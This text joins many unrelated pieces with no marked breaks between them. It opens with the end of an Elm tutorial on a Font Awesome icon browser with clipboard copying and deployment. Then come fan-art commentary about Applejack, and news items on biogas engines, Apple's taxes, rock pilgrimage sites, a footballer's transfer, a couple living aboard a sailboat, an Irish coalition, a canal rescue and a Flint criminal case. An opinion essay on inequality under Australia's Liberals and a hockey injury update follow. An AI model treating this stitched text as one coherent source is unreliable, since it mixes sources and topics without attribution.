On click, I emit the new Cmd type and pass along the icon's class name as parameter. I also added a class name which I'll use to later locate this icon's DOM element.
-- UPDATE update : Msg -> Model -> ( Model , Cmd Msg ) update msg model = case msg of SetFilter filter -> ({ model | filter = filter }, Cmd . none ) CopyToClipboard name -> ( model , copyToClipboard name )
Back in Main.elm , the update function now knows how to handle the CopyToClipboard event emitted by the icons. It calls copyToClipboard port and passes in the icon class name.
//... var app = Elm . Main . embed ( document . getElementById ( 'main' ), faNames ); app . ports . copyToClipboard . subscribe ( function ( iconName ) { var element = document . querySelector ( '.icon-' + iconName ); var range = document . createRange (); range . selectNode ( element ); window . getSelection (). addRange ( range ); document . execCommand ( 'copy' ); });
The final bit in the javascript land, to tie it all together.
Clicking on icon names will now select them and copy the class name to clipboard.
Full code at this point is available here.
Polish
I'll now quickly go through the final fixes and polish I had to do to get this project into a shippable state.
More reliable loading code
The old icon list loader had a problem. It would fail to properly decamelize tokens with leading digits. For example, $fa-var-battery-4 and $fa-var-css3 got converted into faVarBattery4 and faVarCss3 respectively. There is obviously no reliable way to convert these back into class names. Oops.
Instead of messing with crappy decamelization, I now just load _variables.scss directly into a string using the raw-loader plugin, and then pass that into elm.
var faVars = require ( '!raw!../../node_modules/font-awesome/scss/_variables.scss' ); var Elm = require ( '../elm/Main' ); var app = Elm . Main . embed ( document . getElementById ( 'main' ), faVars );
loadIcons : String -> List Icon loadIcons faVarsTxt = faVarsTxt |> String . lines |> List . filter ( String . startsWith "$fa-var-" ) |> List . map ( \ rawLine -> let columnIndex = Maybe . withDefault - 1 ( String . indexes ":" rawLine |> List . head ) dashedName = String . slice 8 columnIndex rawLine in { name = Regex . replace Regex . All ( Regex . regex " \\ -" ) ( \ _ -> "_" ) dashedName , class = "fa-" ++ dashedName } )
One tiny new thing here. Maybe is elm's version of Nullable . Elm docs are quick to point out how this is waaaay more safer and better, blah blah blah. Fine, it's a null with a safety helmet.
Maybe.withDefault will basically "unmaybe" a Maybe .
The Icon record has also changed.
type alias Icon = { name : String , class : String }
I no longer keep the list of tokens, which I never ended up using. All I need is the underscored name and the class name.
And why do I need an underscored name, you might ask? I just do. I use it in my other projects, so it's convenient for me to have it listed. Perks of making your own tools.
Appearance
I did some boring scss stuff to make the app look more presentable.
No code, because who wants to read CSS code? You can see it in the final "main.scss" file, if you're curious.
Better filter
I now break user input into tokens and reform them so they'll better match the icon name.
renderIconList : List Icon -> String -> Html Msg renderIconList icons filter = let filterTokens = Regex . split Regex . All ( Regex . regex "[ _ \\ -.]+" ) filter filterRegex = Regex . regex ( String . join "_" filterTokens ) items = icons |> List . filter ( \ icon -> Regex . contains filterRegex icon . name ) |> List . map ( \ icon -> li [] [ renderIcon icon ]) in ul [ class "icons" ] items
It's not exactly fuzzy search, but every little bit helps. In some future version, I might see about adding some kind of synonym search, as some of font awesome names are a bit wonky.
Deployment
I'll briefly outline the process of deploying this thing to google pages.
I had to fix up a few niggles in webpack.config.js first.
var commonConfig = { output : { path : outputPath , filename : `static/js/ ${ outputFilename } ` ,
I removed the leading slash from /static/js/${outputFilename} , as that was killing the link to the generated js file.
{ test : /\.(woff|woff2|ttf|eot|svg)(\?v=[a-z0-9]\.[a-z0-9]\.[a-z0-9])?$/ , loader : 'url?limit=10000&name=[name].[ext]?[hash]' }
This loader value inside the production section needed a name, with a [hash] parameter.
plugins : [ new CopyWebpackPlugin ([ { from : 'src/favicon.png' }, { from : 'src/CNAME' } ]),
src/CNAME is where I keep my github pages domain name. This needs to be copied to dist, so it will be included inside gh-pages branch.
I also nuked the boilerplate image that somehow survived the initial purge.
At this point, I ran npm run build , and got a nice little static site generated inside the dist folder.
Next, I downloaded this script and plopped it into my project. It will allow me to deploy the generated files to github pages without having to keep them in my repository.
I didn't need to configure anything. Just chmod +x -ed it, ran it and it did the right thing. Font Awesomelm was available on https://github.com/panta82/font-awesomelm.
One final touch. I set up a CNAME redirect from one of my domains, so the project's final destination is fa.pantas.net (code).
Conclusion
I thought I would find functional programming onerous to use in an actual project. I actually found it quite easy once I got used to it. Data munching tasks are a breeze. Coming from React background, web framework concepts and flow came very naturally. I didn't do much async work, but I don't forsee myself having any issues with it.
Type safety was about what I expected. Kind of slow and fiddly to get going, but like eating vegetables, good for you in the long run. It certainly made refactoring much easier than in a test-less javascript.
On the downside, the debugger was kind of disappointing. You can't really debug everything, like you can in javascript. You are limited to the state inside one blessed "model" variable and the messages going in and out of the system. If you have a lot of derived state outside of the model, better get used to console.log -ing.
That clipboard thing was worrying too. The one module I tried to use turned out to be dead, with no replacement in sight.
The ports system is an inviting escape hatch. But what happens if you start using it all the time? Will ambitious applications eventually deteriorate into a mess of interlinked javascript and elm code that no one dares to touch? I don't know.
The biggest hurdle is, as always, functional programming itself. Most frontend developers I know will not be too eager to leave their html tags and jQueries for those ugly nested arrays and strange pattern matching functions. Even react, with its inviting-looking JSX and plain javascript, is a struggle to get adopted.
Web developers are a tiny bunch of math nerds, a handful of designery people and a whole lot of mediocre shmoes. An esoteric functional language championed by the math nerds will not win over this space.
I actually started this a week or so back and proceeded to totally forget about it...spent the last two days finishing it up and polishing some things that were bugging me about it. I actually rather like rendering backgrounds in this style since they mostly consist of curves and circles, those being forms I quite enjoy drawing.
As for the content of the image itself...yep, I ship it. Make no mistake, I think it'd take a lot of time to develop, as I'm rather sure if AJ ran into them again she'd have more than a few unkind words to say. But I've got this little headcanon going where they meet again at a rodeo that Flim and Flam have a little stand set up at. The Super Cider Squeezy 6000 broke down at some point along the way, and thanks to AJ's giving soul, she decides to help them out after a good deal of thought and negotiation. She'll give them the money they need for replacement parts...on the condition they work for it on Apple Acres. And the catch? No magic. Just good, honest hard work.
Think spending some time on the field getting to know them over the rather lengthy period of time it'd take them to work off their debt would give Applejack some time to get to know them. I think she would respect how dedicated they are to what they do -- because honestly, in their appearance on the show, the worst you could say about them is they're pretty ruthless when it comes to business. But they obviously do care about what they're doing if they're willing to cede victory when the customers aren't happy. Might also give the brothers a little time to show their own quirks and personalities outside of their little duo.
also bonding via gentle teasing and forced taste testing
A Chilean water utility will install a GE Jenbacher biogas engine as part of a wastewater treatment plant expansion and effort to clean up the municipal water supply along the Mapocho River near the capital city of Santiago. Elsewhere, a leading waste-to-energy developer in the Philippines inaugurated the country’s first landfill gas power plant in December, also using a GE Jenbacher biogas engine.
With such installations all over the world, GE has a unique view of the global biogas industry and can offer a snapshot of its trends and growth. The company’s global marketing leader, Michael Wagner, says wastewater treatment and landfill gas applications have been booming in Western Europe for the past 10 to 20 years. “Meanwhile, we see this trend that these applications become global, driven by trends to reduce greenhouse gas (GHG) emissions and to utilize renewable and alternative energy,” he says.
Wagner sees significant growth in the 27 European Union member countries, driven by the region’s goal to reduce GHG emissions by 20 percent and increase renewable energy consumption by 20 percent by the year 2020. Specifically, the number of biogas applications is increasing quickly in countries such as France and the U.K. In most European countries, the biogas boom stems from good incentives such as feed-in tariffs, and green certificates. “Investors need incentives and a long- or mid-term guarantee that over the payback time the investment will be feasible,” he says, adding that the U.S. needs similar incentives before it can realize meaningful growth.
Germany, for instance, has some of the best incentives in place to spur biogas project development, and therefore sees bigger growth in the industry, he cites. The country has more than 5,000 biogas production plants in both rural and urban areas, creating tens of thousands of jobs, according to the Environmental and Energy Study Institute. The industry flourishes there because of a carbon tax, carbon cap-and-trade-system and feed-in tariffs.
Besides the EU, significant development is taking place in Southeast Asia, Wagner says, but not because of beneficial incentives. “There, it’s simply the availability of biomass,” he explains, citing a tremendous amount of organic waste streams.
Because of the logistics of biomass feedstock, the applications GE has contributed toward are small and decentralized, around 1 megawatt, avoiding significant fuel transportation issues. Wagner expects the EU biogas industry to continue to grow, but also sees tremendous potential for anaerobic digestion systems in the U.S., as demand increases. “We see a trend in the U.S. with increasing [interest] in decentralized power,” he says.
Apple CEO says the company pays ‘every tax dollar we owe’ amid debate in the US over corporations avoiding tax by using offshore units
Apple’s chief executive Tim Cook has dismissed as “total political crap” the notion that the technology giant was avoiding taxes.
Cook’s remarks, made on CBS’ 60 Minutes show, come amid a debate in the United States over corporations avoiding taxes through techniques such as so-called inversion deals, where a company re-domiciles its tax base to another country.
Tim Cook defends Apple iPhone Smart Battery Case, says it's not a 'hump' Read more
Apple saves billions of dollars in taxes through subsidiaries in Ireland, where it declares much of its overseas profit.
“Apple pays every tax dollar we owe,” Cook told 60 Minutes’ Charlie Rose, according to excerpts from the interview released on Friday. Cook said bringing profits back to the United States would cost him 40%. “I don’t think that’s a reasonable thing to do,” he said.
The Senate Permanent Subcommittee on Investigations investigated Apple’s tax strategies and found that in 2012 alone the company avoided paying $9 billion in US taxes, using a strategy involving three offshore units with no discernible tax home, or “residence”.
The press office of the subcommittee did not immediately return a request for comment on Cook’s remarks.
Apple holds $181.1bn in offshore profits, more than any other US company, and would owe an estimated $59.2bn in taxes if it tried to bring the money back to the United States, a recent study based on SEC filings showed.
The current tax code was made for the industrial age, and not the “digital age,” Cook said. “It’s backwards. It’s awful for America. It should have been fixed many years ago.“
Rebecca Lester, assistant professor of accounting at the Stanford Graduate School of Business, thought Cook’s colorful language might reflect frustration about the lack of movement on tax reform in Washington.
“Companies and the government are in a game of chicken, waiting to see which one moves first,” she said. But so far, corporations are unwilling to bring overseas money back because of the tax implications and want Washington to act.
“It sounds like Tim Cook is getting even more frustrated,” Lester said.
Apparently the Cobains' former residence isn't exactly swamped with bookings
Places associated with rock stars have an enduring fascination. Rare scheduled visits to Jimi Hendrix’s Mayfair flat, now the offices of the Handel House museum but soon to be a museum in its own right, are always oversubscribed, while there’s considerable news coverage every time a Liverpool house associated with the Beatles comes on the market. The National Trust itself owns and operates the childhood homes of both Lennon and McCartney – “Imagine walking through the back door into the kitchen where John’s Aunt Mimi would have cooked him his tea,” enthuses the website.
Internationally, the list of rock pilgrimage locations is endless, from New York’s Chelsea Hotel and Dakota Building, sites of the deaths of Nancy Spungen and John Lennon, to Graceland and the shotgun shack in Tupelo, Mississippi where Elvis was born. There are also pilgrimages closer to home, including Canvey Island and Basildon the Essex home towns of 70s pub rockers par excellence Dr Feelgood, and 80s synth-poppers turned stadium-goths Depeche Mode. Two recent documentaries, Julien Temple’s Oil City Confidental and Jeremy Deller’s The Posters Came from the Walls (AKA Our Hobby is Depeche Mode) highlighted these much-maligned towns as the unlikely focus of attention from fans from across the world. An annual memorial walk around Canvey for Dr Feelgood’s much-missed frontman Lee Brilleaux has taken place for the last 21 years, and a Depeche Mode-themed festival, including a bus tour of the childhood homes of the band members, is now in its fifth year in Basildon. But despite a famous graffito on the Canvey seawall proclaiming “Canvey is England’s Lourdes”, it’s not clear if a fan’s visit to this Essex outpost can truly be likened to a Catholic’s journey to the ultimate Marian shrine.
I love Nirvana, but I get why Kurt Cobain’s daughter doesn’t | Daisy Buchanan Read more
The boundaries between the star and the religious icon have been played on in the religious allusions of mega-stars such as Prince and Madonna for decades. Even a cursory look at fan pilgrimages shows that these can be an important part of individuals’ inner lives. Some clues on whether secular and religious pilgrimages are meaningfully different might be offered by anthropologists Victor and Edith Turner, who characterised pilgrimage as somewhere where geographical and social boundaries are transcended as the pilgrim moves from their everyday life to different social and spiritual worlds. The Turners put a particular emphasis on the opportunities pilgrimage offers for a transient experience of togetherness, terming this communitas. Crucially, the pilgrimages of musical fandom can offer this sense of belonging, the camaraderie between Finnish, Dutch, French, American and native fans on the annual Lee Brilleaux memorial walk being one example. Apparently the former Cobain residence isn’t exactly swamped with bookings – there’s nothing to participate in with other fans here, and perhaps it is only the communal act of “worship” that really allows the fan to express their devotion.
Romelu Lukaku: A target for Wolfsburg if the price is right
Wolfsburg sporting director Klaus Allofs has admitted that they would be interested in signing Chelsea striker Romelu Lukaku providing the price is right.
The 21-year-old, who hit 15 Premier League goals while on loan at Everton last season, has an uncertain future as it remains unclear whether he is involved in Jose Mourinho’s plans at Stamford Bridge.
Chelsea already look set to boost their striking options this summer, with Diego Costa understood to have passed a medical ahead of a proposed move from Atletico Madrid.
Lukaku is currently at the World Cup in Brazil with Belgium and he has already conceded that he may need to depart the club in order to continue playing regular football.
Allofs has previously confirmed the Bundesliga side’s interest in a move for Lukaku as they chase a new striker, but he knows that they may face stern competition to secure his services with a host of Premier League clubs, Juventus and Atletico among those also reported to be keen.
"If the player is getting cheaper, maybe this affair is picking up pace. But even then we won’t be the only club chasing the player’s signature," he told kicker-Sportmagazin.
"Actually we are looking at top-class strikers and we do not have any pressure. We are patiently waiting for the right moment.
In fact, he rarely meets a stranger, and he is apt to say just about anything. Most of it is even true.
When the 70-year-old says he met his wife of six years, Patti O'Neill, when she was an exotic dancer at an Atlantic City nightclub, that -- as O'Neill is quick to point out -- is entirely false. But when the Navy veteran and retired merchant marine says he never again intends to live on land, he means every word.
Both Turner and O'Neill, 68, are from the New York/New Jersey area, but since 2011, their home has been a 40-foot motor-sailboat, the Anna Lee, in which they have traveled tens of thousands of miles of river and sea.
Where they port is where they say they live.
"Right now, that's Columbus, Mississippi," O'Neill said.
The couple docked at the Columbus Marina in late July, marking a purposeful return to a city where Turner unintentionally spent a little more than a month last summer.
On their first visit to The Friendly City, they had planned a multi-leg boat trip up the Tennessee River. They meant to stop at the Columbus Marina for just a few days to restock on fresh water and other supplies. Shortly after they docked, O'Neill had to fly to New Jersey to care for her elderly father, leaving Turner behind for several weeks.
He said the food, hospitality and charm quickly won him over. Once O'Neill returned from New Jersey, she agreed with his assessment.
"We like it here," Turner said. "The town is great. The people are great."
An unlikely, perfect pair
In 2011, life became a whirlwind for O'Neill.
She had met Turner at a restaurant -- not a nightclub. They are certainly different in many ways, Turner with the tough, brazen persona of a sailor straight from central casting while O'Neill is much more soft-spoken. Still, they "hit it off."
Both had lived most of their lives on or near water. At the time they met, O'Neill owned two boats and lived about two miles from the marina where Turner was docked. She had boated with her father growing up, and one of her brothers lives on a boat off the coast of Florida to this day.
Both Turner and O'Neill had been divorced for decades, and both had a keen eye for the Caribbean.
Between June and October of that year, O'Neill retired from her job as a psychiatric nurse practitioner, sold her house in New Jersey, married Turner and the two sailed for the Bahamas.
"At first, I didn't think it would work out," she said. "But he had great stories, so here we are."
Becoming a little choked up, she admitted there was much more to it than that.
Turner, it turns out, is a former Navy Seal who earned a Bronze Star and two Purple Hearts, though he doesn't really talk about that much. O'Neill, on the other hand, is more than happy to fill in the blanks.
"That says a lot about a person," she said with a hint of tears starting to well in her eyes. "He's reliable. He's a good man. He's just a little rough around the edges."
They both admit their marriage is meant to be. But Turner contends if O'Neill had met him 25 years earlier, "she wouldn't have liked me very much."
"I smoked hard, and I drank heavy," he said. "We met in the right time of life and have the same interests. It really worked out."
Life on the boat
Turner bought the Anna Lee used in 1994 and named it for his mother and his sister. From there, he said, he took it to Puerto Rico, where he worked as a port engineer for a merchant shipping company for 12 more years before he retired back to New Jersey.
Since he and O'Neill set sail six years ago, they have visited most of the Caribbean islands -- some several times. But in 2014, Turner said they became interested in sailing the more than 20,000 miles of interconnected river systems in the eastern half of the United States, which can take an ambitious boater from Florida all the way up into Canada.
From their primary port in Fort Myers Beach, Florida, they have visited towns and cities all over the eastern half of the country -- from Mobile and Demopolis, Alabama, to Shiloh, Tennessee, and Boston -- experiencing their cultures and traditions and "taking the time to meet the locals."
"In the South, we like the food and the music," O'Neill said. "We love the accents."
Depending on where they port, they can sometimes get around in a marina courtesy car. Other times they just rent a car. This time in Columbus, though, they arranged to go get their own car in Florida and drive it here. So far, they've made good use of it.
"We go to restaurants. We've been down to the Riverwalk," Turner said. "And there's nothing like getting in the car and looking at the old beautiful (antebellum) mansions that are right there in town."
When they are just hanging out on the boat -- powered by solar panels and a 50-amp wind generator -- they always take their time with their coffee and tea in the morning. Then, O'Neill might work in her sewing area, while Turner checks and maintains the boat's infrastructure and appliances.
By 4:30 p.m., Turner said all jobs are done "except for wine and rum."
"It's a very unstressful life," Turner said. "Very relaxing, which is good at our age. We have a lot of fun together. We laugh a lot and don't take things that seriously."
When they leave Columbus, O'Neill said they will spend the holidays at Fort Myers Beach before going back to the Bahamas. Soon, they may even sell the Anna Lee and buy a 49-foot boat so they will have a little more space.
O'Neill said she wants to one day boat up to the Great Lakes and into Canada. For her husband, though, that trip may take some convincing.
Senior Labour Party figures last week discussed how to differentiate themselves from Fine Gael in the event of a general election caused by the collapse of the Coalition.
Sources in the party said the advisers to senior Ministers did not talk about the timing of any general election if they pulled out of Government, but did discuss some practicalities of the election which would follow.
This included the difficulty of drawing up a manifesto with policies that could be pitched as distinctly Labour, particularly in the aftermath of being in a Coalition with Fine Gael which stuck to the bailout targets laid down by the troika.
Water charges
There is a regular meeting of Labour advisers on Wednesdays, and one took place last week in the aftermath of the details of water charges emerging, which sparked a row within the Coalition.
Water charges were also being discussed that day at a special Cabinet meeting, which saw clashes between Tánaiste Eamon Gilmore and Taoiseach Enda Kenny. Labour felt Fine Gael was bouncing it into a decision on water charges, with the junior Coalition partner insisting no agreement had yet been reached on the issue.
The advisers’ meeting is usually led by one of Mr Gilmore’s staff, and is attended by a handful of people. It was held at the same time as the Cabinet meeting with a “50-50” view on whether the Government would last the day.
While there was scepticism in political circles about the scale of the crisis, those in Labour insist the future of the Coalition was in doubt. “That’s how these things start, people feel they are being backed into a corner,” said one figure.
According to senior Labour sources there was no discussion on “when an election would be held” at the advisers’ meeting but on areas such as “practicalities around a manifesto” and “what would a manifesto look like”.
One claimed it was Mr Kenny’s “gross mismanagement that brought us to the edge”.
The manifesto discussions focused on “what would be in it and how we could be distinctive” after three years of Coalition Government, mostly following the EU-IMF bailout and administering austerity.
Separately, a new statement of the Coalition’s aims to try and refocus after months of political tension is seen as more likely than a renegotiation of the programme for government.
Sources within Labour said a full-scale renegotiation of the programme for government would be more problematic and has the potential for even more rows.
Any reassessment of the Coalition’s aims is likely to happen after the local and European elections, as well as the possible scheduling of two byelections, on May 23rd.
‘Statement of aims’
“A new statement of aims is preferable to a full-blown programme for government, which could get bogged down in precisely the rows we are witnessing,” a senior source said, while adding there had been “nothing concrete” discussed yet.
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JEFFERSON COUNTY — A UPS driver delivering packages Monday likely saved a man’s life following a serious crash in Jefferson County.
Coy Danner was headed west on County Line Road near 4500 East around 4 p.m. when he says he saw the tail end of a pickup truck suddenly swing around.
“As drivers, we’re always looking for kids and dogs in the road, but I’ve never seen anything like this,” Danner tells EastIdahoNews.com. “The water shot up, and all of a sudden that truck was gone, and there was water splashing up.”
RELATED | OFFICIALS RELEASE INFORMATION ON JEFFERSON CO. CRASH
Investigators with the Jefferson County Sheriff’s Office say a 2001 Mercedes SUV driven by 52-year-old Wayne Walker of Lewisville failed to stop at a stop sign on County Line Road. Walker crashed into a 2017 Chevrolet truck being driven by 61-year-old Richard Wood of St. George, Utah, deputies said.
The pickup was not in the water, but the SUV was.
Danner, who has been a UPS driver for three years, immediately pulled over and rushed to the canal, where Walker’s SUV was in the water.
“I jumped onto the back of the truck bed that was still on land (next to Walker’s SUV) and saw the man was about a foot and a half down in the water. He wasn’t moving, and I thought he was dead,” Danner says.
Danner grabbed Walker and held his head above the water “for at least a minute or two” as the SUV slowly sunk.
“It was a little bit scary, but I wasn’t going to move,” Danner says. “All of a sudden he made a noise like he was hurting. I thought, ‘This guy is alive! His body is alive!'”
A passerby, who Danner didn’t know, arrived, and both men helped carry Walker out of the water. They placed him on the back of the pickup truck bed, and emergency responders began working on him.
“After it was over, I was shaking. I couldn’t even think. I went numb, and I didn’t know what else to do except go back to work,” Danner says.
Walker was flown by air ambulance to Eastern Idaho Regional Medical Center with serious head and arm injuries. He was listed in critical condition Friday morning. Wood and his passenger were not seriously injured.
A member of Walker’s family tells EastIdahoNews.com Danner “is a hero in our eyes.” And the UPS driver hopes to meet the man he saved one day.
Flint attorney Frank J. Manley said his client, Jordan Tyler White, was having a legal, consensual relationship with the 16-year-old female student when he was arrested by Mt. Morris Township police on criminal sexual conduct charges.
White, 23, of Thetford Township, was arraigned Thursday, Jan. 16, by Genesee District Judge John Conover on 11 charges, including multiple counts of third-degree criminal sexual conduct, child sexual abusive activity and using a computer to commit a crime.
Prosecutors allege that White used his employment with the school to have sex with the female student. Westwood Heights Superintendent Salli Stevens said that White worked at the school as a contractor and was not directly employed as a district. His employment has been terminated, Stevens said.
Manley denied the claim, saying that White's position at the school played no role in the relationship.
"Our position is the prosecutor is stretching the law to take advantage of a personal matter to create a headline," Manley said.
Genesee County Prosecutor David Leyton declined to comment on Manley's claims or specifics of the case.
Mt. Morris police Detective Diana Mills says her office was made aware of the situation by an anonymous tip, adding that the school district wasn't informed of the allegations until White was arrested.
Mills said that illicit photos were shared via text message between the two, which led to additional charges.
"Anybody who knows about relationships between kids these days knows they involve texts," Manley said.
White is also facing two counts of possession of a weapon in a weapon-free school zone after authorities said they discovered an AR-15 rifle and a 9-millimeter handgun in his car at the school. Mills said the weapons were in a gun case in the back seat. There were also hundreds of rounds of ammunition.
Manley said White, an Army reservist who spent three years in active duty, including one year of combat in Afghanistan, legally owns the weapons and was at the shooting range prior to his arrest.
There are no accusations that White intended to commit any acts of violence at the school.
The image above shows rich and poor alongside each other in Mexico. Is this Australia’s future under the Liberals?
Australia has a long history of egalitarianism. Between the gold rushes and the 1890s Australia was considered a ‘working man’s paradise’. The depression of the 1890s changed that somewhat but also fostered the growth of unionism and the birth of the Labor party to represent workers’ interests. That meant that by 1911 Australia was still considered a great country for the ‘working man’ with higher wages than in many other countries, shorter hours than the USA and Canada and more holidays. Australia was also a world leader in social reforms, including universal suffrage, and was known for not having as large a gap between rich and poor as most industrial countries — it was effectively largely egalitarian.
It was not a rigid system that enforced the same conditions on everyone but a system based on the ‘fair go’. It was built on the concept that we are all inherently equal and, therefore, the differences between us should not be great if we each have a ‘fair go’ — in modern parlance, it was equality of opportunity. We were also very good at cutting down the ‘tall poppies’ when the differences exceeded what we thought acceptable.
Now much of that has changed and the Liberals have contributed mightily by their actions and also by their underlying philosophy.
What drives the Liberals’ actions is their belief in the individual, based on the John Stuart Mill maxim on freedom when he wrote in On Liberty in 1859:
The only freedom which deserves the name is that of pursuing our own good in our own way, so long as we do not attempt to deprive others of theirs, or impede their efforts to attain it.
The Liberals aim towards the first part of that statement but tend to ignore the provisos in the second part. Despite what the Liberals may think, the condition Mill imposes on individual freedom is consistent with the Australian value of the ‘fair go’: as an individual, I give others a ‘fair go’ by not depriving them of their freedom nor impeding their efforts to attain it. It shows that although the ‘fair go’ can be said to be founded on the individual, it includes a social responsibility to give others a ‘fair go’, just as Mill envisaged. In that sense, the ‘fair go’ is the true inheritor of Mill’s legacy, not the Liberals’ approach.
When the Liberals emphasise the individual they are undermining society. They sometimes speak of community spirit, such as when we pull together during times of bushfire and flood, but they do nothing to support it. Generally they believe only in the individual and the family, and community and society do not get a look in. That also provides a green light for individuals to ignore their social responsibilities and look only after themselves if that is their want — it is a green light to reject the ‘fair go’ and a green light for individual greed.
The economic emphasis on the individual is leading to rising inequality in our society. The gap between the richest and the poorest has increased significantly. The gap between the pay of a worker and the CEO of the company for which she or he works has increased dramatically in recent decades. Whereas once it was the equivalent of 2‒4 years of the worker’s wage, now it can exceed 15 or 20 years. The ‘tall poppies’ are now protected under the Liberals’ approach and are viewed by them as essential for economic success.
In Australia, based on taxation records, the top 10% of taxpayers had 25% of total national income between 1974 and 1985 but that grew to 31% in 2010. For the top 1% their share was about 4.5% between 1976 and 1984 and in 2010 was 9.2%, after reaching a peak of 10.1% in 2006 before the GFC.
In 2013, a Productivity Commission paper also showed that since 1998‒99, even just among those employed, wages had been increasing faster for high income earners than for low income earners.
Such inequality impacts equality of opportunity and this was recognised by the OECD as early as 2005:
… children of poor parents have less chance of succeeding in life than children of rich parents: a widening inequality of income risks leading to a widening inequality of opportunity. Because of these factors, a failure to tackle the poverty facing millions of families and their children is not only socially reprehensible, it will also weigh heavily on our capacity to sustain economic growth for years to come.
Given the last statement in that quotation, is rising inequality also contributing to current sluggish economic growth worldwide, not just the GFC hangover? That’s one for the Liberals to ponder, if they dare!
Australia survived the GFC thanks largely to a return to Keynesian economics by the then Rudd government (on the advice of then Treasury Secretary Ken Henry). Even now our economy has been growing at 2½‒3% a year, below our long term average but still a moderate rate of growth. So why do people feel financially insecure?
Wages growth is currently the slowest it has been in 20 years so that certainly doesn’t help but another aspect mentioned by a number of writers, including in relation to the middle class in the USA, is cuts to government services. People feel they have less social support as government services disappear, that such services will not be there when they need them. Also any increase in their wages may go in paying for services previously provided by government — their situation, at best, is not improving or is going backwards.
In Australia, the Liberals cut government services because they believe in the neoliberal economic philosophy (still based on John Stuart Mill) that the individual should be free to use, that is buy, only those services they require. That, by economic demand, the market will meet the need for those services. Government providing services for all, that many may not use, is an inefficient use of resources! The Liberals will continue to emphasise low taxes because this puts money back into the pockets of the individual to buy the services they want and government can withdraw from that provision. That presumes, however, that everyone is earning enough to buy those services which is not the case under the Liberals’ approach.
We are also seeing a rise in what is termed ‘precarious’ employment — casual and part-time work, and short-term individual work contracts. The April employment figures this year showed that 20,200 part-time jobs were created but 9,300 full-time jobs were lost (there had been no increase in full-time employment in the previous three months). Continued work is not guaranteed in such situations, leaving workers unsure of their future: they need to be earning very large amounts, as with some of the FIFO mining contractors, to make them feel such uncertainty is worthwhile. But in many cases these approaches are used to reduce wages and working conditions. As the number of full-time positions diminishes that situation worsens. The Liberals have long supported this approach, no more so than when Howard introduced WorkChoices. Unions are sometimes criticised for not paying enough attention to part-time and casual workers but that is because they tend to focus on keeping, and creating more, full-time positions as it is only a full-time position that provides economic security. There are some studies in Australia suggesting that for a family to lift out of poverty at least one member of the family has to have a full-time job — even having a number of members of the family working casual or part-time doesn’t help because they are unable to invest in a better future as their work, and income, can stop at any time with little or no notice.
So the Liberal approach to employment is also increasing economic insecurity no matter how well the economy may or may not be going.
The current Liberal (Turnbull) government is focusing on business, and small business in particular, at least to start with. A focus on small business is to some extent consistent with the ‘fair go’ but not when large businesses and multi-nationals are included, and not when increases in productivity are being pocketed as profits, not improvements in wages.
In a 2013 report for the ACTU it was found that in the 1990s there was a stability between productivity and wages — both productivity and real wages grew at 2.1% each year.
Wages decoupled from productivity in the 2000s. Between 2000 and 2012, productivity rose by an average 1.3% per year, while real hourly labour income rose by only 0.6% per year on average. This meant that labour’s share of national income fell over the decade, and fell quite sharply. In 2000, the labour share was 65.6% — this had fallen to 59.7% by 2012.
Again, this is a global phenomenon:
In developed countries, the share of labour income declined, falling by 5 percentage points or more between 1980 and 2006-07 — just before the global financial crisis — in Australia, Belgium, Finland, France, the Netherlands, Norway, Sweden, the United Kingdom and the United States, and by 10 points or more in Austria, Germany, Ireland, New Zealand and Portugal.
It is global because so many governments are following the same neoliberal economic philosophy.
If workers do not benefit from increased productivity that is not a ‘fair go’. As the ACTU report suggests, a ‘fair go’ involves profits and wages increasing at about the same rate as productivity, not one outpacing the other by a wide margin. Now, to return to a fair distribution of national income, the profit share needs to reduce, which is not going to happen under this government. So if people turn against Turnbull’s approach it will be obvious why.
The approach is justified by the ‘trickle down’ (or supply-side) theory in economics (see Ad Astra’s recent article here for an explanation), that claims supporting business, including big business, improves the overall economy — a rising tide for all. At least that’s the theory. As so much evidence shows, however, it does not work.
On matters like education and health, the Liberals prefer to follow their economic path focused on the individual and are only held in check to some extent by outcries from the Australian public that their approach is unfair. Their obvious preferred model is for privatised health and education based on the premise that the value people put on these is shown by the price they are willing to pay. They are undermining Medicare. They are reducing funding for hospitals and schools (a recent increase does not match proposed cuts already built into the budget). Yet they continue to spend $6 billion a year on a rebate for private health insurance.
Almost everything the Liberals are doing is undermining Australian communities and Australian society as a cohesive unit. Their philosophy, so centred on the individual and ignoring community support, social responsibility and the common good, is anathema to the ‘fair go’. Their focus allows them to ignore inequality because that is simply some individuals doing better than the rest. In their approach, it supposedly provides an incentive, a goal for those lower down to aspire to. They believe that aspiration will inspire people to work harder. Aspiration may have been valid when Australia had a more egalitarian range of incomes: if the CEO was only earning the equivalent of a few years’ wages of the worker, then aspiring to a similar lifestyle was an achievable goal but not when that gap can be 20 years or more, effectively requiring a lifetime’s work just to come closer to the aspiration without being likely to achieve it. When an aspiration becomes unachievable or unrealistic it no longer has value but the Liberals don’t seem to recognise that.
The Liberals cannot honestly call on our community spirit when they are the ones undermining it.
In 2014, the Centre for Policy Development released a book Pushing our luck: ideas for Australian progress. Lindy Evans wrote in it of the need for a new Australian narrative. She asked for more emphasis on Australia’s democratic history: the radical path we trod in the late 1800s and early 1900s, giving women the vote and allowing ordinary people, not just an elite, to be elected to parliament. She related the story of an early member of the Australian parliament making a speech with holes in his suit pants because it was the only suit he had. The fact that Australia had the world’s first Labo(u)r government was no accident but a result of our founders ensuring that ordinary people were drawn into the political process.
The idea that human societies are not chained to repeating history and that we can create a better world runs deep in the Australian tradition. In recent years we have lost sight of how rare that philosophy was, and still is.
She called her approach ‘egalitarian nationalism’ and presented it as an alternative but inclusive national narrative to that of multiculturalism. But if the Liberals continue their destructive path, our chances of ever achieving that sort of uniting narrative, emphasising our egalitarian democratic values, diminishes by the day.
What do you think?
Can Australia retain the ‘fair go’ if the Liberals continue running the country?
What happened to Tony’s ‘Team Australia’?
Do readers have any suggestions for the post July 2 government that may help return Australia to a more egalitarian footing?
This article was originally published on The Political Sword.
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They're just not entirely sure what Kesler they'll get after being off skates for a month.
Kesler has played just seven games all season, missing the start recovering from offseason wrist and shoulder surgeries only to break a bone in his foot blocking a shot in his Feb 15 return. He played six more games before the fracture turned up in a CT scan, and he couldn't skate until late last week.
"I'm not exactly sure what we're going to get back, to tell you the truth," coach Alain Vigneault said. "He's been off skates for quite some time, but like they used to do in the old days, we are going to play him into shape."
Vigneault pledged not to overuse his Selke Trophy-winning center, saying he would limit Kesler to a regular shift and not use him in his usual spots on the penalty kill and as the net-front presence on a struggling power play.
Kesler, who is used to leading the team's forwards in ice time, said he is OK with that.
